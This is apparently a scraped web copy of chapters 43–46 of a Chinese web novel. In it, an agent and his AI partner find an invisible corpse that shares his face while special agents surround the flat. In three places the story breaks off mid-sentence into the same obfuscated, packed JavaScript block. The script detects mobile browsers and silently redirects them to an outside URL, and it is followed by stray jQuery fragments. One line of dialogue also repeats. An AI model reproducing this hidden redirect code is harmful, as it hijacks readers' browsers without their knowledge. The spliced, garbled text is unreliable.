MK3000的问题暂时没人能回答,很快,十五天一眨眼就过去了。 他们再次踏入新的世界。 43.第43章 玫瑰战争1 凌晨三点,赵四在照镜子。 他穿着三件套,衬衫挺括,此刻正拿着一只领结在领口比来比去。 第一种,太正式,像要去主持葬礼。 第二种,太随意,像刚被葬礼赶出来的远房亲戚。 第三种—— 他端详了两秒,默默换回第一种。 又左右照了照,终于对自己的形象露出满意的微笑。 这时,脑子里传来一声吐槽。 【你说你照镜子干什么呢?那镜子又照不出来你。】 ——镜子里确实什么都没有。 光滑的镜面映照出来的只有窗外的居民楼、窗台上那盆死得透透的绿萝、以及墙上不知道哪个年代买的抽象装饰画。 这么复杂的画面里却唯独没有赵四。 实际上不止镜子,连MK3000都看不到赵四具体在哪。 在它的视角里,这就是个空房间。 多亏了能量扫描能扫出个人形,MK3000才能确定不是自己搞丢了搭档,而是它搭档在这个世界真的没实体。 正常人这会儿应该慌了。 但赵四很淡定,他甚至又对着镜子理了理袖口,才慢条斯理地去泡咖啡。 “助手一号,”他端着杯子问,“你说我要是现在出门,算不算幽灵出行?” 他腕上的手表亮了一下。 那是一种很克制的亮法,像是生怕被人发现的微微一闪。 但表中传来的话,语气可一点都不克制。 “算。而且按本世界法律,幽灵不能乘坐公共交通工具,建议您步行。” 赵四当场就不乐意了:“我现在可是月薪两万八,你让我步行?” 助手一号语气平静:“更正,月薪两万八是税前。税后扣除各项支出,您每月实际存款仅为三百块。根据计算,步行有利于您节约开支。” 赵四把咖啡杯往窗台上一搁,低头盯着那块表。 “我钱呢?” “大部分用来维护我现在的载体了。” “那一个月维护你得花多少钱?” “一万八。” 赵四深吸一口气:“这么贵?都维护什么了?” “主要是维护我这张嘴。” ——实际上是维护包括发声功能在内的所有功能,但这不重要。 赵四沉默了两秒,郑重地点头:“值。” 他把表摘下来,放在掌心端详。 这玩意儿里面住着他搭档的一部分数据。 另一部分,也就是本体,还在操作间待着。 本体可以直接在他脑子里说话,分体不行,得靠这块表中转。 至于为什么要一分为二……这事说来话长。 ——时间倒回他们刚落地这个任务世界的时候。 “绝对安全的五分钟领域”里,一人一统走流程听取任务简报。 【你是一部分人追逐的白月光,你是另一部分人难以忘怀的朱砂痣,你是另另一部分人爱在心里口难开的白玫瑰,你是另另另一部分人心尖上绽放的红玫瑰。】 【你的任务是——剪断、分离、重塑。请注意,演员不会死于舞台之上。】 赵四听完,沉默了很久。 “我感觉这个原主罪孽深重啊。” 这话没毛病。 按这描述,原主怕不是或主动、或被动的欠了不少人感情账。 MK3000安慰他:“想开点,说不定是别人欠原主的。” “那咱们是来干什么的?替原主讨债的?” 话一出口,他自己先摇头否了。 上辈子的经验告诉他,任务简报这玩意儿不能全信。 它可能没说谎,但它一定没把话说完。 “剪断、分离、重塑”——听起来像感情处理套餐,但谁知道呢,还是得往后看看再说。 讨论完这个,第二个问题才轮到身份卡的问题。 刚才光顾着确认安全,没细看身份卡。 这会儿MK3000才发现不对劲的地方。 “专员,我看不到你了。” “啊?” “字面意思。” MK3000给赵四共享了一下系统视角,那里只有一个空荡荡的房间,没半个人影。 ——赵四明明就在这里,却没办法出现在系统的视角中。 “怪啊……三儿,来,开扫描,就扫我现在的身体,看看到底是身份卡有问题,还是房子有问题。” MK3000没有第一时间回应,赵四检查房间的动作顿了顿,疑惑道:“出什么事了,三儿?” 没让他多等,MK3000回话了:“稍等,在扫描前,有件事我得告诉你——主系统刚刚给我发了条跨界短讯。” 跨界短讯? 主系统一般不插手专员和系统做任务,这种刚登录任务世界就直接发消息过来的做法可以说是相当少见。 赵四来了兴趣:“哦?领导这是给咱们送来了指路明灯?” MK3000:“嗯……” 它略带纠结地描述了一下通讯内容。 这个世界出借了身份的不是个简单人物,主系统把人捞到世界之外安置的时候才发现,这人竟然把世界线中的重要辅助角色“助手一号”给直接夹带到了世界之外。 赵四感觉不对:“不是,还有人才能骗过主系统的?真是任务出久了什么都能见到,这个原主有点本事啊。” MK3000也觉得这件事里有隐情,但是主系统并没有过多解释,它发这条跨界短讯的主要目的其实是…… 赵四:“你说主系统让你分一部分数据出来,实体化扮演‘助手一号’,并执行‘助手一号’的职责?” MK3000沉重地嗯了一声。 专员负责扮演世界本地人,系统负责扮演世界本地统。 好一个物尽其用。 MK3000也是头一次接扮演任务,自身的数据流都有点儿过电般的麻。 还真是应了赵四刚说的那句话了——真是任务出久了什么都能见到。 赵四对此接受的很快。 “挑一个吧,三儿。” MK3000:“啊?” 赵四:“实体载体啊。” 这可不是世界包分配的,想扮演本地统,只能MK3000自己挑个好载体。 MK3000下意识扫了一圈周围能用的东西,最后圈出来三个符合要求的,分别是冰箱、电视和一块旧手表。 冰箱太蠢,电视太大,只有表能跟着赵四到处跑,算是勉强能用。 MK3000幽幽道:“虽然性能约等于二十年前的计算器,但至少能发光……” 赵四没忍住笑了一声,才故作正经安慰道:“强者从不抱怨环境。” 在操作间里的MK3000没忍住用触手抽打了一下操作台,又卷起一颗糖嘎吱嘎吱嚼了,才勉强平复了心情。 工作不易,章鱼叹气。 “别笑我了,你先看看别的吧,我得尽快开始迁移数据。” 赵四没再逗MK3000,把手表翻出来放在桌子上的小垫子上,就继续排查房间异常了。 回到现在。 赵四把表重新戴回手腕,端起了那杯已经凉透的咖啡。 “所以我现在是什么情况?鬼魂、透明人、还是这世界出了bug,把我给漏渲染了?” “都不是。”手表里传来助手一号解机械化的声音,“根据系统确认,您的状态为‘正常’。” “那镜子里为什么没有我?” “因为您处在非正常状态。” “你再说一遍,我现在的状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190848|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态,确认完之后是什么?” “您很正常。” 赵四忍了忍,实在没忍住。 “一号,你太好玩了哈哈哈哈哈——” 助手一号:“不,根据自检,‘好玩’不是我的基础模块之一。我的算力只够支撑基础对话功能,如有更多需求,请您换个说辞进行重新测试。” 赵四听完,笑的更厉害了。 MK3000:【……别玩了,专员。这表不太聪明是因为我分出去的数据太少了,它极限承载力也就这样了。】 赵四:【可是一号真的很像我刻板印象里的人工智能。】 还是小智障款的那种,这谁能忍住不逗它玩呢。 MK3000:【……】 它强行把赵四的注意力拉回正事上。 【关于你刚刚提出的问题,我有个猜测。你可能没有消失,也没有变成幽灵……你只是不被‘镜子’这种介质记录了。】 【准确说,是一切反射面都无法呈现你的影像,比如玻璃、水面、金属表面、别人的眼睛,甚至监控探头,都无法记录你的存在。】 听到搭档开始说正事,赵四也明白不能再逗统了,真炸毛了还得他顺。 他认真听分析,听到介质的时候,他想了想。 【也就是说,在物理层面上,我无法被任何人‘看见’?那声音呢?】 【我不确定,但大概率是你说的话其他人能听见,只是回应你的时候像是在对着空气说话。】 【那对方岂不是以为撞鬼了?】 【从法律角度讲,确实是撞鬼了。】 法律这个词今晚出现频率有点高了,而MK3000不会在这方面给他传达无用的信息。 赵四把咖啡杯放下,走到窗边往外看。 凌晨三点的城市,零星有几盏灯亮着,远处有出租车驶过。 风拂过树梢,一只野猫从树影中跳出来窜到围墙上,翘着尾巴跑远了。 四处一片静谧,看起来世界一切安好。 很好,连法律都有超现实相关设定,说明在这个世界里,“撞鬼”并不是一个小概率事件。 谁能想到看起来这么和平的世界,主题竟然是超现实呢? 遇见这种可能涉及世界观底层逻辑的事,MK3000也没辙。 它只能说:【那我先开着能量扫描图吧,回头我把这个做成滤镜套在自己身上……好歹这样你在我的视野里还有个虚影,不至于不知道什么时候就莫名其妙的把你丢了。】 对这个临时解决方法赵四表示同意,并表示自己一定找找也没有能一劳永逸的解决方法。 就在这时,楼下传来一阵嘈杂声。 探头望去,只见对面居民楼里亮起了几盏灯,有人影晃动。 隐约能听见喊声,像是什么东西丢了,或者什么人跑了。 紧接着,赵四刚翻出来的手机震了一下,一条紧急推送出现在锁屏界面上。 【紧急通知:华南佳苑小区发生重大事件,请所有居民待在家中,不要外出,不要与陌生人接触。如有发现可疑人员,请立即联系物业。】 下面还有一行小字,是物业在业主群发的公告:【各位业主,刚接到警方通知,五栋302室发生命案,目前凶手在逃,请务必注意安全!】 赵四盯着手机屏幕,又抬头看了看对面楼的骚动,最后低头看了眼手表。 “五栋302室,”他慢慢说,“五栋是哪一栋?” 助手一号:“我们这栋。” “我们现在在几楼?” “三楼。” “三楼有几户人家?” “两户。” 赵四缓缓转过头,看向大门的方向。 那么问题来了。 二选一,302是他所在的这套房子的概率,有多大? 44.第44章 玫瑰战争2 赵四走到门口,抬头看门牌。 毫不意外:302。 白底黑字的门牌号钉在防盗门正上方,金属小牌子边缘有些锈迹,看起来有些年头了。 他又偏头看了眼对面——301,同款门牌,同款锈迹。 所以这套房子就是公告里说的命案现场。 【从物业通知的字面意思理解,是的。】MK3000的声音在脑中响起,【但有一个问题——你刚才把整个屋子都检查了一遍,有发现尸体吗?】 赵四回想了一下。 三室两厅,厨房卫生间,阳台储物间。 他刚才翻箱倒柜的时候,确实没看见任何可疑的东西。 没有大片血迹,没有异味,没有挣扎痕迹。 只有那盆绿萝有点奇怪——主要是土的颜色不太对劲。 他不抱希望的试图挣扎一下。 【会不会是隔壁?】 比如301和302搞反了。 MK3000的话说的很客观:【可能性存在。但你对面那套是空房,门口的灰尘积得能写字,如果有人进出,不该一点痕迹都没留。】 【而且——】 【而且?】 助手一号的声音无缝衔接:“而且住在你楼下的老太太正在打电话向物业告你的状。” 大致是说楼上的年轻人行踪诡异,一会儿见人一会儿不见人影,天天也不知道在干什么,有时候听着房间里动静乱糟糟,敲门一看又没人。 赵四挑眉:“你还能监听邻居?” 手表闪了闪,助手一号的声音传来:“更正,是‘被动接收’而非‘主动监听’。我只是在扫描范围内捕获了无线信号并解析了内容。” 赵四低头看表:“有区别吗?” “法律意义上,有。” “什么区别?” “主动监听违法,被动接收合法。”助手一号的语气一本正经。 换言之,它只是在履行环境监控职责时,恰好捕获了空气中传播的电磁波信号。 至于这些信号的内容是什么,助手一号不知道哦。 赵四摸了摸下巴:“你这逻辑是跟谁学的?” “根据系统日志,我的底层逻辑来自(一串乱码)。如果您对我的逻辑有疑问,建议咨询(一串乱码)。” 脑内传来MK3000的一声轻咳,于是赵四懂了。 乱码是MK3000手动打码、防止信息泄露给这个世界土著的手段,助手一号的运行逻辑则是一道保险。 MK3000:【考虑到这个世界法律较完善,官方力量保存完好,让在外面的助手一号合法做事,免得惹上官方力量关键时刻拖你后腿。】 赵四夸道:【干得好。】 【嗯哼。】 不过既然确定地方没错,那么这里就得再好好看一遍了。 赵四转身走向阳台。 阳台上那盆绿萝枯黄的叶片耷拉着,土面干得裂开,怎么看都是死透了的样子。 他蹲下来,把叶片拨开一点,仔细看土里的血迹分布。 几点暗色的血呈溅射状,从花盆边缘往中心延伸,像是有人手指破了,血滴下来时带着甩动的弧度。 他顺着血迹方向比划了一下:如果站在阳台门口,朝花盆这个位置甩手—— 【血是从屋里往外甩的。】 赵四站起身,看向阳台推拉门的方向,【有人站在客厅那个位置,手受伤了,走过来,血滴了一路,最后在花盆这儿甩了几下。】 他回头往客厅走,目光扫过地板。 深色木地板,看不出什么。 但如果是三四周前的血迹,就算擦过,也未必能完全清理干净。 “一号,开光源,低角度斜照。” 手表闪了闪,发出一束偏冷的光,贴着地面扫过去。 赵四半蹲着,顺着光带一点一点往前挪。 客厅到阳台的动线上,木地板表面看着干净,但在侧光下,有几处细微的反光不太对劲。 那不是木纹该有的光泽,更像是有某种液体渗进去过,干透后留下一层极薄的膜。 这是血迹清洗过,但没完全洗掉的特征。 他继续往前,一直走到客厅中央,血迹的痕迹在这里断了。 不对,不是断了,是被什么挡住了。 他抬头看天花板。 正上方是一盏吊灯,简洁的几何造型,三个灯罩里有两个亮着,另一个—— 赵四眯起眼。 另一个灯罩里透出的光,比另外两个暗一点,边缘有一圈深色的阴影。 他搬来椅子,踩上去把灯罩拧下来。 灯罩内侧,有一片干涸的暗红色。 喷溅状,且从下往上。 赵四看着那片血迹,沉默了两秒。 【这得是多大的劲儿,血能溅到天花板?】 MK3000的声音响起:【两种可能:一是动脉破裂,血压高;二是外力击打造成的血点飞溅。无论哪种,出血量都不会小。】 赵四跳下椅子,拿着灯罩对着光看。 深黑的血迹早已干透,连边缘都有些卷曲。 他凑近闻了闻——没什么味道,时间确实不短了。 MK3000:【预计该痕迹为三至四周前留下的。】 三四周前,有人在这个位置受了重伤。可命案通告是今晚才发的。 时间对不上,除非—— 赵四想到了一个可能性。 把灯罩拧回去后,他去厨房找了一把水果刀。 走到客厅中央,站在那盏吊灯正下方——就是灯罩上有血迹的那个位置。 他低头看看自己手腕,又看看手里的刀。 MK3000:【等等,你要干什么?】 赵四只是问:【三儿,你说我现在这个身体,血是红的吗?】 MK3000还真回答不了。 【这张身份卡是纯粹的能量体,有没有血液实在不好说。】 【那就试试。】 赵四由衷的露出一个笑容,左手握着刀,对准右手小臂外侧,利落地划了一刀。 MK3000的声音有点飘:【你……】 赵四没吭声,盯着那道伤口。 皮肉翻开,血管破裂,血在涌出。 血液一滴滴落在地上,很快积成小小一滩。 一切看起来都很正常。 赵四突然说道:【三儿,照准地板,拍照。】 MK3000没问为什么,立刻拍了照。 拍好后,图像上传到赵四的专员面板。 照片上,深色木地板上干干净净。 赵四笑了:【有意思。】 他又举起那把刀,刀刃上还沾着他的血。 【再拍。】 第二张照片传来:水果刀的刀刃也依旧明亮,毫无血污。 两个发现。 第一,哪怕是能量体,他现在的身体也有血液且会受伤。 第二,他的血和他一样,也不能被拍摄、被记录。 赵四沉吟片刻,把手表摄像头对准地板上的血。 他对助手一号说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195917|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我现在跟你描述一下我的伤口大小,以及血液分布状况。期间你开录像记录这一过程,直到我说完为止。” 助手一号:“我明白了。” 录像开始。 赵四像个最有耐心的老师,把自己的伤口情况掰开了揉碎了讲给助手一号听。 从伤口长度到出血量,从血液分布到流淌方向,事无巨细。 随着他的描述,助手一号的表盘上,逐渐显出了一个淡淡的人影。 起初只是轮廓,然后是五官,然后是整个人的形状——虽然淡得像隔着一层薄雾,但确实能看见了。 赵四停下的时候,助手一号的录像也同步结束。 视频由一号共享给了本体,MK3000接收完视频,惊讶道:【现在哪怕我关了能量扫描模式也能看见你了。】 虽然很淡,一看就不是个真人,但确实是能捕捉到了。 同样的,地板上和水果刀上的血,MK3000也能识别到了。 赵四看着表盘上自己那道淡淡的影子,若有所思。 【所以问题不在“我能不能被看见”,而在“这个世界怎么定义我”。】 【什么意思?】 【意思是我需要被人“认知”。】赵四慢慢说,【一号一开始看不见我,是因为它没有关于我的认知框架。我给它描述了伤口,描述了外形,给了它一个“我存在”的坐标——然后它就能看见了。】 【你是说……】 【我是说,这具身体的存在方式,可能和那些血迹、那具假设中的尸体一样——】他顿了顿,【需要被人“指认”,才会“显现”。】 MK3000:【我明白了!不是你一开始搜查房间不仔细,而是你一开始没有和绿萝中的血迹建立认知上的联系!】 MK3000沉默了两秒,像是在消化这个结论。 赵四已经走回客厅,站在吊灯下方,抬头看着那个沾血的灯罩。 【这个,是我注意到绿萝里的血迹后,才重新发现的。进而才推测三至四周前,有人站在我现在这个位置,受了重伤,血溅到了天花板上。】 MK3000恍然:【我明白了!不是你一开始搜查房间不仔细,而是你一开始没有和绿萝中的血迹建立认知上的联系!】 一开始,赵四只是觉得“那盆绿萝的土颜色有点奇怪”,并没有往血迹那方面想,后来重新观察的时候才判断出那是血迹。 也是从那之后,他才能看见那些隐藏的不算隐蔽的血污痕迹。 就像他现在能看见自己流在地上的血——因为已经“知道”它在那里。 MK3000跟上了他的思路:【你认为尸体还在这套房子里,只是刚才我们看不见?】 【是的。现在重新检查一下,恐怕就有惊喜在等着我们了。】 赵四慢慢环顾四周。 如果尸体真的存在,那它最可能在哪儿? 血迹从客厅中央开始,一路延伸到阳台。 受伤的人站在那里,血溅到天花板,滴到地板上,然后他走向阳台,在花盆前停下,甩了几下受伤的手—— 然后呢?他去了哪里? 赵四的目光落在卧室紧闭的门上。 第一次检查时,他推开门扫了一眼:床铺整洁,衣柜关着,窗帘拉开,一切正常。 但现在他知道,“正常”可能只是因为他还没有“指认”它。 赵四走过去,推开门。 然后他叹了口气。 ——第一次检查时还整洁宽敞的大床上,现在躺着一个仿若在沉睡的漂亮男人。 45.第45章 玫瑰战争3 男人穿着米白色的棉质睡衣,凌乱的半长发遮住了紧闭的双眼。 那张脸漂亮得仿佛和世界不在同一个图层上—— 不是那种锐利的、具有攻击性的美,而是一种柔软的、让人想要亲近的好看。 他闭着眼睛,嘴角自然上翘,整个人显得安静而恬然,像是在做一个很长很长的美梦,并沉浸在这梦中再也不愿醒来。 赵四走上前,仔细检查了一下。 他遗憾地发现,虽然这人的身体保存完好,没出现诸如巨人观之类大家都不愿见到且过不了审的状况,但这确实是一具尸体。 死了有一阵子了。 赵四谨慎地没直接接触这位睡美人,而是用顺手从书房抽出来的笔,轻轻拨开了那些遮住脸的头发。 看清这人的脸后,MK3000嘶了一声。 赵四:【怎么?】 MK3000一边拍照存档,一边说:【专员,因为身份卡比较特殊,你是不是还没见过你自己在这个世界长什么样?】 赵四愣了一下,随即懂了。 他以全新的目光看向床上的尸体。 【这人不会恰好和“我”长得一样吧?】 “恰好”两个字,他加了重音。 MK3000很遗憾地给出了肯定回答。 赵四盯着那张和自己身份卡一模一样的脸,沉默了三秒。 所以现在的情况是:他住在一个有命案的房子里,房子里的尸体长得和他一模一样,而他自己是个照镜子看不见、流血拍不出、需要被人“认知”才能存在的诡异玩意儿。 【嗯……三儿啊,你说这位和我的身份卡没关系的概率有多大?】 【无限接近于零吧。】 就在一人一统还在讨论这句尸体的功夫,助手一号突然开口。 “虽然很不想打扰您,但是主人,目前有多道生命反应正在接近这套房子的大门。” 赵四被“主人”这个称呼带偏了一下注意力——手表里的这个是他搭档的一部分,听搭档叫主人总觉得像什么奇怪的角色扮演……然后他很快回过神来。 【三儿?】 MK3000:【是警察。】 门外没有一点声音,也不知道是隔音太好,还是外面的人训练有素。 赵四快步走到门边,透过猫眼往外看。 门外空空荡荡,什么都没有。 赵四想了想,又走回卧室,把门反锁,然后让MK3000调出楼道里的监控画面。 投射到专员面板后,监控里显示的就清楚多了——助手一号提醒得没错,门外的确人不少。 在三楼和二楼的楼梯转角处,站着一群全副武装的人。 而在302猫眼的视觉死角里,还埋伏着几个看起来最难对付的。 他们都没有说话,只是一脸肃穆地互相比着手势交流。 赵四咂舌:【这是这个世界的一线行动人员?啧,302的案子面子还挺大……这是生怕凶手听见动静跑了啊。】 MK3000:【这不是常规武装力量。】 已经通过助手一号连上本世界网络的MK3000强得可怕,它扒拉出来一段自己刚刚整合好的世界观简介,把重点给赵四标红了。 这个世界有一种特殊灾害,名为“虚沼”。 表面上,它不过是一洼积水,与寻常雨后残留的水坑并无二致。 它的大小深浅毫无规律,却总在毫无征兆的情况下,突兀地出现在人群聚集之处。 而它的危险,恰恰隐藏在这份寻常之中——一旦有人踏入其中,便会在瞬息之间被彻底吞没。 虚沼的消失过程同样难以捉摸。 有的在吞噬一两个人之后,便迅速缩小,直至完全消失; 有的则长久盘踞在原地,即便吞没了数十人,也看不出任何变化。 而被吞噬者的命运更是无法预料。 少数人能够完整归来,也有人回来的“零零散散”……但绝大多数,在坠入之后就彻底人间蒸发,再无音讯。 没有人知道虚沼深处究竟藏着什么,所有活着回来的人,都完全忘记了与那里有关的一切,就连最基础的安全常识也需要重新学习—— 仿佛那段经历被某种力量彻底抹去。 那么问题来了,虚沼只需肆意吞噬便好,而人类需要考虑的却远不止于此。 【目前你所在的这个国家,专门处理虚沼相关事务的官方机构叫“虚沼事务署”——民间俗称也叫“水洼衙门”,今天来堵你门的就是事务署的精锐。】 门口那一群大汉不知道商量出来什么了,只见领头的那个朝队伍的最后面打了几下手势,蹲在末尾的一个小年轻就点了点头,转身轻手轻脚地跑下楼去。 没过一会,小年轻带着一个不停擦汗的中年男人上来了。 这位新来的中年人长得挺有特色——赵四在某个世界见过和他长得类似的动物,好像叫藏狐来着。 MK3000贴心地给这个人头顶打了个标签:【物业胡主任】。 胡主任顶着标签,狗狗祟祟的跟着年轻人站到了猫眼的视野范围外。 他张了张嘴没出声,用夸张的口型说:真得我来啊? 领头人点点头。 胡主任用力搓脸:我这之前也没干过这事,万一……万一耽误了你们衙门的事儿可怎么办? 领头人摇摇头,拍了拍胡主任的肩膀。 胡主任咬咬牙,在身上摸索一番,变魔术似得从工装马甲兜里掏出了一摞反诈宣传单,然后期待地看着领头人。 领头人明显惊了一下,之后给胡主任比了个拇指。 胡主任重重点头。 他理了理衣服,这次正大光明走入了猫眼的视野范围内,深吸一口气准备敲门。 这番加密对话意思倒是不难懂,赵四破译了一下: 【他们准备让这位物业胡主任假装上门做反诈宣传,让屋里可能还在的嫌疑人放下警惕,自己把门打开?】 这思路可以啊。 让熟人打头阵,降低防备心,等交流几句后,人一开门,外面那群壮汉就跳起来一拥而上—— MK3000接道:【然后发现屋里没人,只有一具尸体,和一个站在尸体旁边、谁也看不见的犯罪嫌疑人。】 虽然事实如此,但是…… 【你这总结怎么听着我更像鬼了。】 门外,胡主任已经举起了手。 赵四看着那只悬在半空、即将落下的手,忽然意识到一个问题。 如果胡主任一直敲门,他不应,外面的人会怎么做? 继续敲?换人来敲?还是直接破门? 他偏头看了眼卧室的方向——床上还躺着位只有经过细心调查才能看见的睡美人。 如果外面的人冲进来,找到了尸体…… 【三儿,虚沼事务署的人,能看见我吗?】 MK3000快速运算了一下,给出了一个充满不确定性的答案:【不确定。】 【根据现有信息推测:他们专门处理“虚沼”相关事件,而你现在的存在状态很可能和虚沼有关。】 【所以呢?】 【所以如果他们接触过足够多的虚沼事件,可能会对你的存在状态有某种程度的“认知”——也就是说,他们可能能看见你。】 赵四眼睛一亮:【那挺好。能看见的话虽然会被列为嫌疑对象,但很多事反而好解释——】 【也可能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200292|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见你。】MK3000打断他,【虚沼现象千奇百怪,每个人的“认知阈值”不一样。有的人能看见,有的人看不见,有的人需要特定条件才能看见——这取决于他们各自的“虚沼接触史”。】 【……你这说了等于没说。】 【我说的是事实。】 赵四叹了口气。 门外,胡主任的手终于落下了。 咚、咚、咚。 “青阳先生?在家吗?我是物业的老胡,最近社区这边催得紧,这不得赶在年前来紧急做个反诈宣传——” 声音不大不小,带着点刻意的家常味,像真是来做工作的。 赵四换了个舒服点的姿势,靠在床头的墙上,看他们表演。 胡主任等了三秒,又敲了三下。 “青阳先生?” 还是没动静。 胡主任眼神飘了飘,看见眼角余光里的领头人做了个手势:继续。 胡主任吸了吸气,这次声音大了点,还带了点抱怨的语气: “青阳先生,您在不在家啊?这反诈宣传单每家每户都要签收的,您不开门我可没法交差啊——” 他一边说,一边离门又近了点。 接下来,赵四眼睁睁看着胡主任的表情变了几变。 胡主任直起身,脸上没了那股装出来的抱怨,取而代之的是一种真实的困惑。 领头人皱眉,用口型问:什么情况? 胡主任张了张嘴,无声地说:里面有呼吸声。 赵四站直了一点。 还有高手? 【三儿,你听见什么了吗?】 【没有。】MK3000说,【这扇门的隔音很好,正常情况下门内外的声音都传不过去。】 那这位胡主任听见的东西,可就有点不是东西了。 两种可能:一是虚沼事务署的人用了某种手段,让他的听力加强了,听见了本不该听见的声音;二嘛…… 二是门内确实有呼吸声,只是赵四他们听不见。 门外,胡主任的表情越来越古怪。 他控制不住自己似的凑近大门,试图把耳朵贴到门上。 一直跟着的小年轻眼疾手快,一把抓住他的领子,强行把胡主任拽离了302的大门。 领头人的瞳孔微微收缩,他抬手,做了个手势。 楼梯转角处那群全副武装的人无声地涌了上来,贴着墙壁站好。 他们每个人的手都按在腰间,那里别着的不是普通枪械,而是一些造型奇特的装备,有的泛着微光,有的刻着复杂的纹路。 领头人接过小年轻递过来的设备,贴在门锁上。 几乎只用了几秒,门锁内部就传来了极其轻微的“咔哒”声。 门被轻轻推开一条缝。 没再等什么,他手一挥,一缕极其细小的、几乎看不见的雾气,就从他的脚下向门缝处渗去。 雾气像一条小蛇贴着地面游走,MK3000快速切换视角,通过电视自带的摄像头,他们看见那道雾气灵活地在客厅里转了一圈。 它左嗅嗅右闻闻,在绿萝那里停了一会,又发现了什么似得,转头沿着赵四检查过的路线经过吊灯,直奔卧室而去。 赵四没动,只是低下头,看雾气溜进卧室,满地乱爬了一会,然后—— 然后它停在了赵四脚边。 赵四低头看着那缕雾气。 雾气也“看”着他——虽然它没有眼睛,但赵四能感觉到,门外的那个领头人在通过这道雾气注视他。 门外,领头人的声音透过专员面板向在赵四耳边。 那声音很轻,但每一个词都咬的很清楚,还带着点微妙的如释重负。 “找到你了。” 46.第46章 玫瑰战争4 那缕雾气在赵四脚边盘桓了几秒,然后像完成了使命似的,无声地散开,融入空气里。 门外传来轻微的响动——是那些人开始调整位置,准备突入。 赵四没有动。 他只是低头看着脚边消散的雾气,又抬头看向床上那具安静的身体,脑子里有什么念头正在成形。 【三儿,我觉得……说不定本次的身份卡“我”,就是那个床上的睡美人本人。】 MK3000沉默了一瞬,调出“虚沼”的资料仔细研究起来。 这个世界对虚沼的研究,已经持续了数百年。 曾有学者提出过一个理论:虚沼的出现,实际上分割出了两个世界。 一个是可感可触的现实世界,是大多数人认知中的“真实”; 另一个则是不可感也不可触的“虚沼世界”,几乎无人知晓它的真实样貌。 虚沼世界是否存在至今没有定论,但公开资料中有一点可以确认:那些类似幽灵的“虚沼生物”,确实真实存在。 那么问题来了——这些虚沼生物,它们有没有实体,如果有,那它们的实体究竟长什么样? ——没有人知道。 MK3000:【有可能是你猜的那样。不过,你打算怎么确认?】 赵四很果断:【试试就知道了。】 他把顺来的笔随手丢到床头柜,走到床边,伸出手。 指尖穿过睡美人的面颊,只触碰到一团空气。 他没有收回手,而是继续向上,去摸那人侧脸处之前被拨开的头发。 ——依然什么都摸不到。 赵四这才收回手,盯着自己的指尖看了两秒,忽然笑了。 那笑容有些说不出的微妙。 【你看,拿着笔的时候,笔杆尚且还能拨开他的头发。到了我自己上手,却什么都摸不到了。】 刚刚才目睹过赵四拿刀划自己的MK3000,突然明白了他的意图。 它的声音陡然拔高:【等等,你这验证方式也太激进了!能不能像上个世界那样稳重点——哎,专员!】 赵四已经动了。 他解开外套的扣子,随手扔在旁边的椅子上。 然后他掀开被子的一角——那具身体安静地躺着,棉质睡衣柔软服帖,胸口没有任何起伏。 赵四盯着那张脸看了两秒。 然后他抬腿,跨上了床。 跪在尸体两侧的那一刻,他低头看着身下那张美人面,觉得还是礼貌点好—— 他沉吟了一下,低声说了句“失礼了”,才利索地翻身躺了下去。 身体落下的那一瞬间——世界碎了。 不是比喻。 是真的碎了。 天花板碎成无数片光,墙壁碎成无数道影,地板碎成无数层深渊。 所有的一切都在往下掉——不对,是他自己在往下掉。 穿过光。 穿过影。 穿过一层又一层看不见的薄膜。 每一层薄膜穿过的时候,都有什么东西被剥离。 先是声音。 然后是温度。 然后是触觉。 然后是—— 然后是他自己。 他感觉自己正在被拆解。 那种感觉不是痛苦,而是……像是有人把他变成了一本书,正一页一页的被翻开、被阅读。 每一页,都有一段模糊的画面在闪动。 一个男人在追谁,金色的表链在他胸前荡出金色的光; 一个女人穿着华丽的大裙子,跌坐在地上哭泣; 一双手,伸过来,又缩回去—— 一张网破掉了、一块糖果在融化; 一条鱼甩了甩尾巴、一滴露水从叶片上砸落; 那些脸、那些手、那些目光、那些欲言又止的话、那些藏在心底的名字,它们像潮水一样涌来,把他淹没,把他撕碎,把他一点一点地吞噬。 画面闪烁的越来越快、越来越快,直到最后,它们尖叫着杂糅在一起,变成乌黑发亮的粘稠液体。 这些液体满溢着、蔓延着、扭曲着、蠕动着爬向赵四的四肢…… 赵四无声地扬起头颅,剧烈地喘息。 【你是谁?】 【你是……谁?】 【你是——】 无数个声音从四面八方涌来。 那些声音重叠在一起,男人、女人、老人、孩子,他们在喊同一个名字。 他们在说: “青阳——” “青阳渡——” “青阳先生——” 乌黑的液体顺着这些声音,变成绳索一般的东西,将他牢牢捆缚在原地。 “……!(一串杂音)@##¥%(一串杂音)!!!” 